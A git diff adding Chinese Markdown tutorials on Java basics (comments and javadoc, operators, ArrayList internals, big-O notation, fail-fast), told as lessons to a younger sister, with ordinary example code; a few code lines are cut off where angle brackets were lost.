+}
+```
+
+
+### 02、多行注释
+
+多行注释使用的频率其实并不高,通常用于解释一段代码的作用。
+
+```java
+/*
+age 用于表示年纪
+name 用于表示姓名
+*/
+int age = 18;
+String name = "沉默王二";
+```
+
+以 `/*` 开始,以 `*/` 结束,但不如用多个 `//` 来得痛快,因为 `*` 和 `/` 不在一起,敲起来麻烦。
+
+```java
+// age 用于表示年纪
+// name 用于表示姓名
+int age = 18;
+String name = "沉默王二";
+```
+
+### 03、文档注释
+
+文档注释可用在三个地方,类、字段和方法,用来解释它们是干嘛的。
+
+```java
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ */
+public class Demo {
+ /**
+ * 姓名
+ */
+ private int age;
+
+ /**
+ * main 方法作为程序的入口
+ *
+ * @param args 参数
+ */
+ public static void main(String[] args) {
+
+ }
+}
+```
+
+PS:在 Intellij IDEA 中,按下 `/**` 后敲下回车键就可以自动添加文档注释的格式,`*/` 是自动补全的。
+
+接下来,我们来看看如何通过 javadoc 命令生成代码文档。
+
+**第一步**,在该类文件上右键,找到「Open in Terminal」 可以打开命令行窗口。
+
+
+
+
+**第二步**,执行 javadoc 命令 `javadoc Demo.java -encoding utf-8`。`-encoding utf-8` 可以保证中文不发生乱码。
+
+
+
+**第三步,**执行 `ls -l` 命令就可以看到生成代码文档时产生的文件,主要是一些可以组成网页的 html、js 和 css 文件。
+
+
+
+**第四步**,执行 `open index.html` 命令可以通过默认的浏览器打开文档注释。
+
+
+
+点击「Demo」,可以查看到该类更具体的注释文档。
+
+
+
+### 04、文档注释的注意事项
+
+1)`javadoc` 命令只能为 public 和 protected 修饰的字段、方法和类生成文档。
+
+default 和 private 修饰的字段和方法的注释将会被忽略掉。因为我们本来就不希望这些字段和方法暴露给调用者。
+
+如果类不是 public 的话,javadoc 会执行失败。
+
+
+
+2)文档注释中可以嵌入一些 HTML 标记,比如说段落标记 ``,超链接标记 `` 等等,但不要使用标题标记,比如说 `
`,因为 javadoc 会插入自己的标题,容易发生冲突。
+
+3)文档注释中可以插入一些 `@` 注解,比如说 `@see` 引用其他类,`@version` 版本号,`@param` 参数标识符,`@author` 作者标识符,`@deprecated` 已废弃标识符,等等。
+
+### 05、注释规约
+
+1)类、字段、方法必须使用文档注释,不能使用单行注释和多行注释。因为注释文档在 IDE 编辑窗口中可以悬浮提示,提高编码效率。
+
+比如说,在使用 String 类的时候,鼠标悬停在 String 上时可以得到以下提示。
+
+
+
+2)所有的抽象方法(包括接口中的方法)必须要用Javadoc注释、除了返回值、参数、 异常说明外,还必须指出该方法做什么事情,实现什么功能。
+
+3)所有的类都必须添加创建者和创建日期。
+
+Intellij IDEA 中可以在「File and Code Templates」中设置。
+
+
+
+语法如下所示:
+
+```
+/**
+* 微信搜索「沉默王二」,回复 Java
+* @author 沉默王二
+* @date ${DATE}
+*/
+```
+
+设置好后,在新建一个类的时候就可以自动生成了。
+
+```java
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/11/16
+ */
+public class Test {
+}
+```
+
+4)所有的枚举类型字段必须要有注释,说明每个数据项的用途。
+
+5)代码修改的同时,注释也要进行相应的修改。
+
+
+“好了,三妹,关于 Java 中的注释就先说这么多吧。”转动了一下僵硬的脖子后,我对三妹说。“记住一点,注释是程序固有的一部分。”
+
+>第一、注释要能够准确反映设计思想和代码逻辑;第二、注释要能够描述业务含 义,使别的程序员能够迅速了解到代码背后的信息。完全没有注释的大段代码对于阅读者形同 天书,注释是给自己看的,即使隔很长时间,也能清晰理解当时的思路;注释也是给继任者看 的,使其能够快速接替自己的工作。
+
+-----
+
+《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享!
+
+
\ No newline at end of file
diff --git a/docs/basic-grammar/operator.md b/docs/basic-grammar/operator.md
new file mode 100644
index 0000000000..f2cc568f9e
--- /dev/null
+++ b/docs/basic-grammar/operator.md
@@ -0,0 +1,370 @@
+
+
+“二哥,让我盲猜一下哈,运算符是不是指的就是加减乘除啊?”三妹的脸上泛着甜甜的笑容,我想她一定对提出的问题很有自信。
+
+“是的,三妹。运算符在 Java 中占据着重要的位置,对程序的执行有着很大的帮助。除了常见的加减乘除,还有许多其他类型的运算符,来看下面这张思维导图。”
+
+
+
+
+### 01、算数运算符
+
+算术运算符除了最常见的加减乘除,还有一个取余的运算符,用于得到除法运算后的余数,来串代码感受下。
+
+```java
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ */
+public class ArithmeticOperator {
+ public static void main(String[] args) {
+ int a = 10;
+ int b = 5;
+
+ System.out.println(a + b);//15
+ System.out.println(a - b);//5
+ System.out.println(a * b);//50
+ System.out.println(a / b);//2
+ System.out.println(a % b);//0
+
+ b = 3;
+ System.out.println(a + b);//13
+ System.out.println(a - b);//7
+ System.out.println(a * b);//30
+ System.out.println(a / b);//3
+ System.out.println(a % b);//1
+ }
+}
+```
+
+对于初学者来说,加法(+)、减法(-)、乘法(*)很好理解,但除法(/)和取余(%)会有一点点疑惑。在以往的认知里,10/3 是除不尽的,结果应该是 3.333333...,而不应该是 3。相应的,余数也不应该是 1。这是为什么呢?
+
+因为数字在程序中可以分为两种,一种是整形,一种是浮点型(不清楚的同学可以回头看看[数据类型那篇](https://mp.weixin.qq.com/s/twim3w_dp5ctCigjLGIbFw)),整形和整形的运算结果就是整形,不会出现浮点型。否则,就会出现浮点型。
+
+```java
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ */
+public class ArithmeticOperator {
+ public static void main(String[] args) {
+ int a = 10;
+ float c = 3.0f;
+ double d = 3.0;
+ System.out.println(a / c); // 3.3333333
+ System.out.println(a / d); // 3.3333333333333335
+ System.out.println(a % c); // 1.0
+ System.out.println(a % d); // 1.0
+ }
+}
+```
+
+需要注意的是,当浮点数除以 0 的时候,结果为 Infinity 或者 NaN。
+
+```
+System.out.println(10.0 / 0.0); // Infinity
+System.out.println(0.0 / 0.0); // NaN
+```
+
+Infinity 的中文意思是无穷大,NaN 的中文意思是这不是一个数字(Not a Number)。
+
+
+当整数除以 0 的时候(`10 / 0`),会抛出异常:
+
+```
+Exception in thread "main" java.lang.ArithmeticException: / by zero
+ at com.itwanger.eleven.ArithmeticOperator.main(ArithmeticOperator.java:32)
+```
+
+所以整数在进行除法运算时,需要先判断除数是否为 0,以免程序抛出异常。
+
+算术运算符中还有两种特殊的运算符,自增运算符(++)和自减运算符(--),它们也叫做一元运算符,只有一个操作数。
+
+```java
+public class UnaryOperator1 {
+ public static void main(String[] args) {
+ int x = 10;
+ System.out.println(x++);//10 (11)
+ System.out.println(++x);//12
+ System.out.println(x--);//12 (11)
+ System.out.println(--x);//10
+ }
+}
+```
+
+一元运算符可以放在数字的前面或者后面,放在前面叫前自增(前自减),放在后面叫后自增(后自减)。
+
+前自增和后自增是有区别的,拿 `int y = ++x` 这个表达式来说(x = 10),它可以拆分为 `x = x+1 = 11; y = x = 11`,所以表达式的结果为 `x = 11, y = 11`。拿 `int y = x++` 这个表达式来说(x = 10),它可以拆分为 `y = x = 10; x = x+1 = 11`,所以表达式的结果为 `x = 11, y = 10`。
+
+```java
+int x = 10;
+int y = ++x;
+System.out.println(y + " " + x);// 11 11
+
+x = 10;
+y = x++;
+System.out.println(y + " " + x);// 10 11
+```
+
+对于前自减和后自减来说,同学们可以自己试一把。
+
+
+### 02、关系运算符
+
+关系运算符用来比较两个操作数,返回结果为 true 或者 false。
+
+
+
+来看示例:
+
+```java
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ */
+public class RelationOperator {
+ public static void main(String[] args) {
+ int a = 10, b = 20;
+ System.out.println(a == b); // false
+ System.out.println(a != b); // true
+ System.out.println(a > b); // false
+ System.out.println(a < b); // true
+ System.out.println(a >= b); // false
+ System.out.println(a <= b); // true
+ }
+}
+```
+
+### 03、位运算符
+
+在学习位运算符之前,需要先学习一下二进制,因为位运算符操作的不是整形数值(int、long、short、char、byte)本身,而是整形数值对应的二进制。
+
+```java
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ */
+public class BitOperator {
+ public static void main(String[] args) {
+ System.out.println(Integer.toBinaryString(60)); // 111100
+ System.out.println(Integer.toBinaryString(13)); // 1101
+ }
+}
+```
+
+ 从程序的输出结果可以看得出来,60 的二进制是 0011 1100(用 0 补到 8 位),13 的二进制是 0000 1101。
+
+PS:现代的二进制记数系统由戈特弗里德·威廉·莱布尼茨于 1679 年设计。莱布尼茨是德意志哲学家、数学家,历史上少见的通才。
+
+
+
+来看示例:
+
+```java
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ */
+public class BitOperator {
+ public static void main(String[] args) {
+ int a = 60, b = 13;
+ System.out.println("a 的二进制:" + Integer.toBinaryString(a)); // 111100
+ System.out.println("b 的二进制:" + Integer.toBinaryString(b)); // 1101
+
+ int c = a & b;
+ System.out.println("a & b:" + c + ",二进制是:" + Integer.toBinaryString(c));
+
+ c = a | b;
+ System.out.println("a | b:" + c + ",二进制是:" + Integer.toBinaryString(c));
+
+ c = a ^ b;
+ System.out.println("a ^ b:" + c + ",二进制是:" + Integer.toBinaryString(c));
+
+ c = ~a;
+ System.out.println("~a:" + c + ",二进制是:" + Integer.toBinaryString(c));
+
+ c = a << 2;
+ System.out.println("a << 2:" + c + ",二进制是:" + Integer.toBinaryString(c));
+
+ c = a >> 2;
+ System.out.println("a >> 2:" + c + ",二进制是:" + Integer.toBinaryString(c));
+
+ c = a >>> 2;
+ System.out.println("a >>> 2:" + c + ",二进制是:" + Integer.toBinaryString(c));
+ }
+}
+```
+
+对于初学者来说,位运算符无法从直观上去计算出结果,不像加减乘除那样。因为我们日常接触的都是十进制,位运算的时候需要先转成二进制,然后再计算出结果。
+
+鉴于此,初学者在写代码的时候其实很少会用到位运算。对于编程高手来说,为了提高程序的性能,会在一些地方使用位运算。比如说,HashMap 在计算哈希值的时候:
+
+```java
+static final int hash(Object key) {
+ int h;
+ return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
+}
+```
+
+如果对位运算一点都不懂的话,遇到这样的源码就很吃力。所以说,虽然位运算用的少,但还是要懂。
+
+1)按位左移运算符:
+
+```java
+public class LeftShiftOperator {
+ public static void main(String[] args) {
+ System.out.println(10<<2);//10*2^2=10*4=40
+ System.out.println(10<<3);//10*2^3=10*8=80
+ System.out.println(20<<2);//20*2^2=20*4=80
+ System.out.println(15<<4);//15*2^4=15*16=240
+ }
+}
+```
+
+`10<<2` 等于 10 乘以 2 的 2 次方;`10<<3` 等于 10 乘以 2 的 3 次方。
+
+2)按位右移运算符:
+
+```java
+public class RightShiftOperator {
+ public static void main(String[] args) {
+ System.out.println(10>>2);//10/2^2=10/4=2
+ System.out.println(20>>2);//20/2^2=20/4=5
+ System.out.println(20>>3);//20/2^3=20/8=2
+ }
+}
+```
+
+`10>>2` 等于 10 除以 2 的 2 次方;`20>>2` 等于 20 除以 2 的 2 次方。
+
+### 04、逻辑运算符
+
+逻辑与运算符(&&):多个条件中只要有一个为 false 结果就为 false。
+
+逻辑或运算符(||):多个条件只要有一个为 true 结果就为 true。
+
+```java
+public class LogicalOperator {
+ public static void main(String[] args) {
+ int a=10;
+ int b=5;
+ int c=20;
+ System.out.println(ab||ab|a
+
+
+
+
\ No newline at end of file
diff --git a/docs/collection/arraylist.md b/docs/collection/arraylist.md
new file mode 100644
index 0000000000..8f425f04d2
--- /dev/null
+++ b/docs/collection/arraylist.md
@@ -0,0 +1,386 @@
+
+
+“二哥,听说今天我们开讲 ArrayList 了?好期待哦!”三妹明知故问,这个托配合得依然天衣无缝。
+
+“是的呀,三妹。”我肯定地点了点头,继续说道,“ArrayList 可以称得上是集合框架方面最常用的类了,可以和 HashMap 一较高下。”
+
+从名字就可以看得出来,ArrayList 实现了 List 接口,并且是基于数组实现的。
+
+数组的大小是固定的,一旦创建的时候指定了大小,就不能再调整了。也就是说,如果数组满了,就不能再添加任何元素了。ArrayList 在数组的基础上实现了自动扩容,并且提供了比数组更丰富的预定义方法(各种增删改查),非常灵活。
+
+Java 这门编程语言和 C语言的不同之处就在这里,如果是 C语言的话,就必须动手实现自己的 ArrayList,原生的库函数里面是没有的。
+
+“二哥,**如何创建一个 ArrayList 啊**?”三妹问。
+
+```java
+ArrayList alist = new ArrayList();
+```
+
+可以通过上面的语句来创建一个字符串类型的 ArrayList(通过尖括号来限定 ArrayList 中元素的类型,如果尝试添加其他类型的元素,将会产生编译错误),更简化的写法如下:
+
+```java
+List alist = new ArrayList<>();
+```
+
+由于 ArrayList 实现了 List 接口,所以 alist 变量的类型可以是 List 类型;new 关键字声明后的尖括号中可以不再指定元素的类型,因为编译器可以通过前面尖括号中的类型进行智能推断。
+
+如果非常确定 ArrayList 中元素的个数,在创建的时候还可以指定初始大小。
+
+```java
+List alist = new ArrayList<>(20);
+```
+
+这样做的好处是,可以有效地避免在添加新的元素时进行不必要的扩容。但通常情况下,我们很难确定 ArrayList 中元素的个数,因此一般不指定初始大小。
+
+“二哥,**那怎么向 ArrayList 中添加一个元素呢**?”三妹继续问。
+
+可以通过 `add()` 方法向 ArrayList 中添加一个元素,如果不指定下标的话,就默认添加在末尾。
+
+```java
+alist.add("沉默王二");
+```
+
+“三妹,你可以研究一下 `add()` 方法的源码(基于 JDK 8 会好一点),它在添加元素的时候会判断需不需要进行扩容,如果需要的话,会执行 `grow()` 方法进行扩容,这个也是面试官特别喜欢考察的一个重点。”我叮嘱道。
+
+下面是 `add(E e)` 方法的源码:
+
+```java
+public boolean add(E e) {
+ ensureCapacityInternal(size + 1); // Increments modCount!!
+ elementData[size++] = e;
+ return true;
+}
+```
+
+调用了私有的 `ensureCapacityInternal` 方法:
+
+```java
+private void ensureCapacityInternal(int minCapacity) {
+ if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) {
+ minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity);
+ }
+
+ ensureExplicitCapacity(minCapacity);
+}
+```
+
+假如一开始创建 ArrayList 的时候没有指定大小,elementData 就会被初始化成一个空的数组,也就是 DEFAULTCAPACITY_EMPTY_ELEMENTDATA。
+
+进入到 if 分支后,minCapacity 的值就会等于 DEFAULT_CAPACITY,可以看一下 DEFAULT_CAPACITY 的初始值:
+
+```java
+private static final int DEFAULT_CAPACITY = 10;
+```
+也就是说,如果 ArrayList 在创建的时候没有指定大小,默认可以容纳 10 个元素。
+
+接下来会进入 `ensureExplicitCapacity` 方法:
+
+```java
+private void ensureExplicitCapacity(int minCapacity) {
+ modCount++;
+
+ // overflow-conscious code
+ if (minCapacity - elementData.length > 0)
+ grow(minCapacity);
+}
+```
+
+接着进入 `grow(int minCapacity)` 方法:
+
+```java
+private void grow(int minCapacity) {
+ // overflow-conscious code
+ int oldCapacity = elementData.length;
+ int newCapacity = oldCapacity + (oldCapacity >> 1);
+ if (newCapacity - minCapacity < 0)
+ newCapacity = minCapacity;
+ if (newCapacity - MAX_ARRAY_SIZE > 0)
+ newCapacity = hugeCapacity(minCapacity);
+ // minCapacity is usually close to size, so this is a win:
+ elementData = Arrays.copyOf(elementData, newCapacity);
+}
+```
+
+然后对数组进行第一次扩容 `Arrays.copyOf(elementData, newCapacity)`,由原来的 DEFAULTCAPACITY_EMPTY_ELEMENTDATA 扩容为容量为 10 的数组。
+
+“那假如向 ArrayList 添加第 11 个元素呢?”三妹看到了问题的关键。
+
+此时,minCapacity 等于 11,elementData.length 为 10,`ensureExplicitCapacity()` 方法中 if 条件分支就起效了:
+
+```java
+private void ensureExplicitCapacity(int minCapacity) {
+ modCount++;
+
+ // overflow-conscious code
+ if (minCapacity - elementData.length > 0)
+ grow(minCapacity);
+}
+```
+
+会再次进入到 `grow()` 方法:
+
+```java
+private void grow(int minCapacity) {
+ // overflow-conscious code
+ int oldCapacity = elementData.length;
+ int newCapacity = oldCapacity + (oldCapacity >> 1);
+ if (newCapacity - minCapacity < 0)
+ newCapacity = minCapacity;
+ if (newCapacity - MAX_ARRAY_SIZE > 0)
+ newCapacity = hugeCapacity(minCapacity);
+ // minCapacity is usually close to size, so this is a win:
+ elementData = Arrays.copyOf(elementData, newCapacity);
+}
+```
+
+“oldCapacity 等于 10,`oldCapacity >> 1` 这个表达式等于多少呢?三妹你知道吗?”我问三妹。
+
+“不知道啊,`>>` 是什么意思呢?”三妹很疑惑。
+
+“`>>` 是右移运算符,`oldCapacity >> 1` 相当于 oldCapacity 除以 2。”我给三妹解释道,“在计算机内部,都是按照二进制存储的,10 的二进制就是 1010,也就是 `0*2^0 + 1*2^1 + 0*2^2 + 1*2^3`=0+2+0+8=10 。。。。。。”
+
+还没等我解释完,三妹就打断了我,“二哥,能再详细解释一下到底为什么吗?”
+
+“当然可以啊。”我拍着胸脯对三妹说。
+
+先从位全的含义说起吧。
+
+平常我们使用的是十进制数,比如说 39,并不是简单的 3 和 9,3 表示的是 `3*10 = 30`,9 表示的是 `9*1 = 9`,和 3 相乘的 10,和 9 相乘的 1,就是**位权**。位数不同,位权就不同,第 1 位是 10 的 0 次方(也就是 `10^0=1`),第 2 位是 10 的 1 次方(`10^1=10`),第 3 位是 10 的 2 次方(`10^2=100`),最右边的是第一位,依次类推。
+
+位权这个概念同样适用于二进制,第 1 位是 2 的 0 次方(也就是 `2^0=1`),第 2 位是 2 的 1 次方(`2^1=2`),第 3 位是 2 的 2 次方(`2^2=4`),第 34 位是 2 的 3 次方(`2^3=8`)。
+
+十进制的情况下,10 是基数,二进制的情况下,2 是基数。
+
+10 在十进制的表示法是 `0*10^0+1*10^1`=0+10=10。
+
+10 的二进制数是 1010,也就是 `0*2^0 + 1*2^1 + 0*2^2 + 1*2^3`=0+2+0+8=10。
+
+然后是**移位运算**,移位分为左移和右移,在 Java 中,左移的运算符是 `<<`,右移的运算符 `>>`。
+
+拿 `oldCapacity >> 1` 来说吧,`>>` 左边的是被移位的值,此时是 10,也就是二进制 `1010`;`>>` 右边的是要移位的位数,此时是 1。
+
+1010 向右移一位就是 101,空出来的最高位此时要补 0,也就是 0101。
+
+“那为什么不补 1 呢?”三妹这个问题很尖锐。
+
+“因为是算术右移,并且是正数,所以最高位补 0;如果表示的是负数,就需要补 1。”我慢吞吞地回答道,“0101 的十进制就刚好是 `1*2^0 + 0*2^1 + 1*2^2 + 0*2^3`=1+0+4+0=5,如果多移几个数来找规律的话,就会发现,右移 1 位是原来的 1/2,右移 2 位是原来的 1/4,诸如此类。”
+
+也就是说,ArrayList 的大小会扩容为原来的大小+原来大小/2,也就是差不多 1.5 倍。
+
+除了 `add(E e)` 方法,还可以通过 `add(int index, E element)` 方法把元素添加到指定的位置:
+
+```java
+alist.add(0, "沉默王三");
+```
+
+ `add(int index, E element)` 方法的源码如下:
+
+```java
+public void add(int index, E element) {
+ rangeCheckForAdd(index);
+
+ ensureCapacityInternal(size + 1); // Increments modCount!!
+ System.arraycopy(elementData, index, elementData, index + 1,
+ size - index);
+ elementData[index] = element;
+ size++;
+}
+```
+
+该方法会调用到一个非常重要的本地方法 `System.arraycopy()`,它会对数组进行复制(要插入位置上的元素往后复制)。
+
+“三妹,注意看,我画幅图来表示下。”我认真地做起了图。
+
+
+
+
+“二哥,那怎么**更新 ArrayList 中的元素**呢?”三妹继续问。
+
+可以使用 `set()` 方法来更改 ArrayList 中的元素,需要提供下标和新元素。
+
+```java
+alist.set(0, "沉默王四");
+```
+
+假设原来 0 位置上的元素为“沉默王三”,现在可以将其更新为“沉默王四”。
+
+来看一下 `set()` 方法的源码:
+
+```java
+public E set(int index, E element) {
+ rangeCheck(index);
+
+ E oldValue = elementData(index);
+ elementData[index] = element;
+ return oldValue;
+}
+```
+
+该方法会先对指定的下标进行检查,看是否越界,然后替换新值并返回旧值。
+
+“二哥,那怎么**删除 ArrayList 中的元素**呢?”三妹继续问。
+
+`remove(int index)` 方法用于删除指定下标位置上的元素,`remove(Object o)` 方法用于删除指定值的元素。
+
+```java
+alist.remove(1);
+alist.remove("沉默王四");
+```
+
+先来看 `remove(int index)` 方法的源码:
+
+```java
+public E remove(int index) {
+ rangeCheck(index);
+
+ modCount++;
+ E oldValue = elementData(index);
+
+ int numMoved = size - index - 1;
+ if (numMoved > 0)
+ System.arraycopy(elementData, index+1, elementData, index,
+ numMoved);
+ elementData[--size] = null; // clear to let GC do its work
+
+ return oldValue;
+}
+```
+
+该方法会调用 ` System.arraycopy()` 对数组进行复制移动,然后把要删除的元素位置清空 `elementData[--size] = null`。
+
+再来看 `remove(Object o)` 方法的源码:
+
+```java
+public boolean remove(Object o) {
+ if (o == null) {
+ for (int index = 0; index < size; index++)
+ if (elementData[index] == null) {
+ fastRemove(index);
+ return true;
+ }
+ } else {
+ for (int index = 0; index < size; index++)
+ if (o.equals(elementData[index])) {
+ fastRemove(index);
+ return true;
+ }
+ }
+ return false;
+}
+```
+
+该方法通过遍历的方式找到要删除的元素,null 的时候使用 == 操作符判断,非 null 的时候使用 `equals()` 方法,然后调用 `fastRemove()` 方法;有相同元素时,只会删除第一个。
+
+既然都调用了 `fastRemove()` 方法,那就继续来跟踪一下源码:
+
+```java
+private void fastRemove(int index) {
+ modCount++;
+ int numMoved = size - index - 1;
+ if (numMoved > 0)
+ System.arraycopy(elementData, index+1, elementData, index,
+ numMoved);
+ elementData[--size] = null; // clear to let GC do its work
+}
+```
+
+同样是调用 `System.arraycopy()` 方法对数组进行复制和移动。
+
+“三妹,注意看,我画幅图来表示下。”我认真地做起了图。
+
+
+
+
+
+“二哥,那怎么**查找 ArrayList 中的元素**呢?”三妹继续问。
+
+如果要正序查找一个元素,可以使用 `indexOf()` 方法;如果要倒序查找一个元素,可以使用 `lastIndexOf()` 方法。
+
+```java
+alist.indexOf("沉默王二");
+alist.lastIndexOf("沉默王二");
+```
+
+来看一下 `indexOf()` 方法的源码:
+
+```java
+public int indexOf(Object o) {
+ if (o == null) {
+ for (int i = 0; i < size; i++)
+ if (elementData[i]==null)
+ return i;
+ } else {
+ for (int i = 0; i < size; i++)
+ if (o.equals(elementData[i]))
+ return i;
+ }
+ return -1;
+}
+```
+
+如果元素为 null 的时候使用“==”操作符,否则使用 `equals()` 方法。
+
+`lastIndexOf()` 方法和 `indexOf()` 方法类似,不过遍历的时候从最后开始。
+
+`contains()` 方法可以判断 ArrayList 中是否包含某个元素,其内部调用了 `indexOf()` 方法:
+
+```java
+public boolean contains(Object o) {
+ return indexOf(o) >= 0;
+}
+```
+
+如果 ArrayList 中的元素是经过排序的,就可以使用二分查找法,效率更快。
+
+`Collections` 类的 `sort()` 方法可以对 ArrayList 进行排序,该方法会按照字母顺序对 String 类型的列表进行排序。如果是自定义类型的列表,还可以指定 Comparator 进行排序。
+
+```java
+List copy = new ArrayList<>(alist);
+copy.add("a");
+copy.add("c");
+copy.add("b");
+copy.add("d");
+
+Collections.sort(copy);
+System.out.println(copy);
+```
+
+输出结果如下所示:
+
+```
+[a, b, c, d]
+```
+
+排序后就可以使用二分查找法了:
+
+```java
+int index = Collections.binarySearch(copy, "b");
+```
+
+“最后,三妹,我来简单总结一下 ArrayList 的时间复杂度吧,方便后面学习 LinkedList 时对比。”我喝了一口水后补充道。
+
+1)通过下标(也就是 `get(int index)`)访问一个元素的时间复杂度为 O(1),因为是直达的,无论数据增大多少倍,耗时都不变。
+
+```java
+public E get(int index) {
+ rangeCheck(index);
+
+ return elementData(index);
+}
+```
+
+2)默认添加一个元素(调用 `add()` 方法时)的时间复杂度为 O(1),因为是直接添加到数组末尾的,但需要考虑到数组扩容时消耗的时间。
+
+3)删除一个元素(调用 `remove(Object)` 方法时)的时间复杂度为 O(n),因为要遍历列表,数据量增大几倍,耗时也增大几倍;如果是通过下标删除元素时,要考虑到数组的移动和复制所消耗的时间。
+
+4)查找一个未排序的列表时间复杂度为 O(n)(调用 `indexOf()` 或者 `lastIndexOf()` 方法时),因为要遍历列表;查找排序过的列表时间复杂度为 O(log n),因为可以使用二分查找法,当数据增大 n 倍时,耗时增大 logn 倍(这里的 log 是以 2 为底的,每找一次排除一半的可能)。
+
+-------
+
+ArrayList,如果有个中文名的话,应该叫动态数组,也就是可增长的数组,可调整大小的数组。动态数组克服了静态数组的限制,静态数组的容量是固定的,只能在首次创建的时候指定。而动态数组会随着元素的增加自动调整大小,更符合实际的开发需求。
+
+学习集合框架,ArrayList 是第一课,也是新手进阶的重要一课。要想完全掌握 ArrayList,扩容这个机制是必须得掌握,也是面试中经常考察的一个点。
+
+要想掌握扩容机制,就必须得读源码,也就肯定会遇到 `oldCapacity >> 1`,有些初学者会选择跳过,虽然不影响整体上的学习,但也错过了一个精进的机会。
+
+计算机内部是如何表示十进制数的,右移时又发生了什么,静下心来去研究一下,你就会发现,哦,原来这么有趣呢?
\ No newline at end of file
diff --git a/docs/collection/big-o.md b/docs/collection/big-o.md
new file mode 100644
index 0000000000..c85a645dc2
--- /dev/null
+++ b/docs/collection/big-o.md
@@ -0,0 +1,100 @@
+
+
+“二哥,为什么要讲时间复杂度呀?”三妹问。
+
+“因为接下来要用到啊。后面我们学习 ArrayList、LinkedList 的时候,会比较两者在增删改查时的执行效率,而时间复杂度是衡量执行效率的一个重要标准。”我说。
+
+“到时候跑一下代码,统计一下前后的时间差不更准确吗?”三妹反问道。
+
+“实际上,你说的是另外一种评估方法,这种评估方法可以得出非常准确的数值,但也有很大的局限性。”我不急不慢地说。
+
+第一,测试结果会受到测试环境的影响。你比如说,同样的代码,在我这台 iMac 上跑出来的时间和在你那台华为的 MacBook 上抛出的时间可能就差别很大。
+
+第二,测试结果会受到测试数据的影响。你比如说,一个排序后的数组和一个没有排序后的数组,调用了同一个查询方法,得出来的结果可能会差别特别大。
+
+“因此,我们需要这种不依赖于具体测试环境和测试数据就能粗略地估算出执行效率的方法,时间复杂度就是其中的一种,还有一种是空间复杂度。”我继续补充道。
+
+来看下面这段代码:
+
+```java
+public static int sum(int n) {
+ int sum = 0; // 第 1 行
+ for (int i=0;i T(n) = O(f(n))
+
+f(n) 表示代码总的执行次数,大写 O 表示代码的执行时间 T(n) 和 f(n) 成正比。
+
+这也就是大 O 表示法,它不关心代码具体的执行时间是多少,它关心的是代码执行时间的变化趋势,这也就是时间复杂度这个概念的由来。
+
+对于上面那段代码 `sum()` 来说,影响时间复杂度的主要是第 2 行代码,其余的,像系数 2、常数 2 都是可以忽略不计的,我们只关心影响最大的那个,所以时间复杂度就表示为 `O(n)`。
+
+常见的时间复杂度有这么 3 个:
+
+1)`O(1)`
+
+代码的执行时间,和数据规模 n 没有多大关系。
+
+括号中的 1 可以是 3,可以是 5,可以 100,我们习惯用 1 来表示,表示这段代码的执行时间是一个常数级别。比如说下面这段代码:
+
+```java
+int i = 0;
+int j = 0;
+int k = i + j;
+```
+
+实际上执行了 3 次,但我们也认为这段代码的时间复杂度为 `O(1)`。
+
+2)`O(n)`
+
+时间复杂度和数据规模 n 是线性关系。换句话说,数据规模增大 K 倍,代码执行的时间就大致增加 K 倍。
+
+3)`O(logn)`
+
+时间复杂度和数据规模 n 是对数关系。换句话说,数据规模大幅增加时,代码执行的时间只有少量增加。
+
+来看一下代码示例,
+
+```java
+public static void logn(int n) {
+ int i = 1;
+ while (i < n) {
+ i *= 2;
+ }
+}
+```
+
+换句话说,当数据量 n 从 2 增加到 2^64 时,代码执行的时间只增加 64 倍。
+
+```
+遍历次数 | i
+----------+-------
+ 0 | i
+ 1 | i*2
+ 2 | i*4
+ ... | ...
+ ... | ...
+ k | i*2^k
+```
+
+“好了,三妹,这节就讲到这吧,理解了上面 3 个时间复杂度,后面我们学习 ArrayList、LinkedList 的时候,两者在增删改查时的执行效率就很容易对比清楚了。”我抬起头看了看三妹说,她似乎有些明白,又有些不太明白。
+
+“不要担心哥,我再温习一遍就能搞懂了。”三妹很乖。
+
+----------
+
+
+《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享!
+
+
\ No newline at end of file
diff --git a/docs/collection/fail-fast.md b/docs/collection/fail-fast.md
new file mode 100644
index 0000000000..21cb0035cf
--- /dev/null
+++ b/docs/collection/fail-fast.md
@@ -0,0 +1,242 @@
+
+
+那天,小二去阿里面试,面试官老王一上来就甩给了他一道面试题:为什么阿里的 Java 开发手册里会强制不要在 foreach 里进行元素的删除操作?小二听完就面露喜色,因为两年前,也就是 2021 年,他在《Java 程序员进阶之路》专栏上的第 63 篇看到过这题😆。
+
+*PS:star 这种事,只能求,不求没效果,铁子们,《Java 程序员进阶之路》在 GitHub 上已经收获了 417 枚星标,小伙伴们赶紧去点点了,冲 500 star!*
+
+>https://github.com/itwanger/toBeBetterJavaer
+
+-----
+
+为了镇楼,先搬一段英文来解释一下 fail-fast。
+
+>In systems design, a fail-fast system is one which immediately reports at its interface any condition that is likely to indicate a failure. Fail-fast systems are usually designed to stop normal operation rather than attempt to continue a possibly flawed process. Such designs often check the system's state at several points in an operation, so any failures can be detected early. The responsibility of a fail-fast module is detecting errors, then letting the next-highest level of the system handle them.
+
+这段话的大致意思就是,fail-fast 是一种通用的系统设计思想,一旦检测到可能会发生错误,就立马抛出异常,程序将不再往下执行。
+
+```java
+public void test(Wanger wanger) {
+ if (wanger == null) {
+ throw new RuntimeException("wanger 不能为空");
+ }
+
+ System.out.println(wanger.toString());
+}
+```
+
+一旦检测到 wanger 为 null,就立马抛出异常,让调用者来决定这种情况下该怎么处理,下一步 `wanger.toString()` 就不会执行了——避免更严重的错误出现。
+
+很多时候,我们会把 fail-fast 归类为 Java 集合框架的一种错误检测机制,但其实 fail-fast 并不是 Java 集合框架特有的机制。
+
+之所以我们把 fail-fast 放在集合框架篇里介绍,是因为问题比较容易再现。
+
+```java
